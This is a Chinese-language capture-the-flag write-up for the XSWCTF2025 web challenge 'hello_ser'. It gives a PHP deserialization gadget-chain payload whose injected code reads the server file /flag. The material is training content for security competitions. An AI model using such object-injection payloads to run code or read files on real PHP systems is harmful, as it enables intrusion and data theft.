hello_ser

XSWCTF2025
Web
发布日期:   2025-11-17

Web - hello_ser Writeup

PHP反序列化

很明显是PHP反序列化 构造Payload

1
2
3
4
5
6
7
8
unser=
O:1:"A":1:
{s:2:"a1";O:1:"B":1:
{s:2:"b1";O:1:"C":1:
{s:5:"%00C%00c1";O:1:"D":1:
{s:8:"invoke_E";O:1:"E":1:
{s:10:"toString_F";O:1:"F":1:
{s:3:"cmd";s:34:"return file_get_contents('/flag');";};};};};};}

POST / 得到Flag
POST

感谢出题人审阅 辛苦了

文章作者: 菜叶片
文章链接: https://叶片.xyz/2025/11/17/hello-ser/
版权声明: 本博客所有文章除特別声明外，均采用 CC BY 4.0 许可协议。转载请注明来源 菜叶片 !
XSWCTF2025
  目录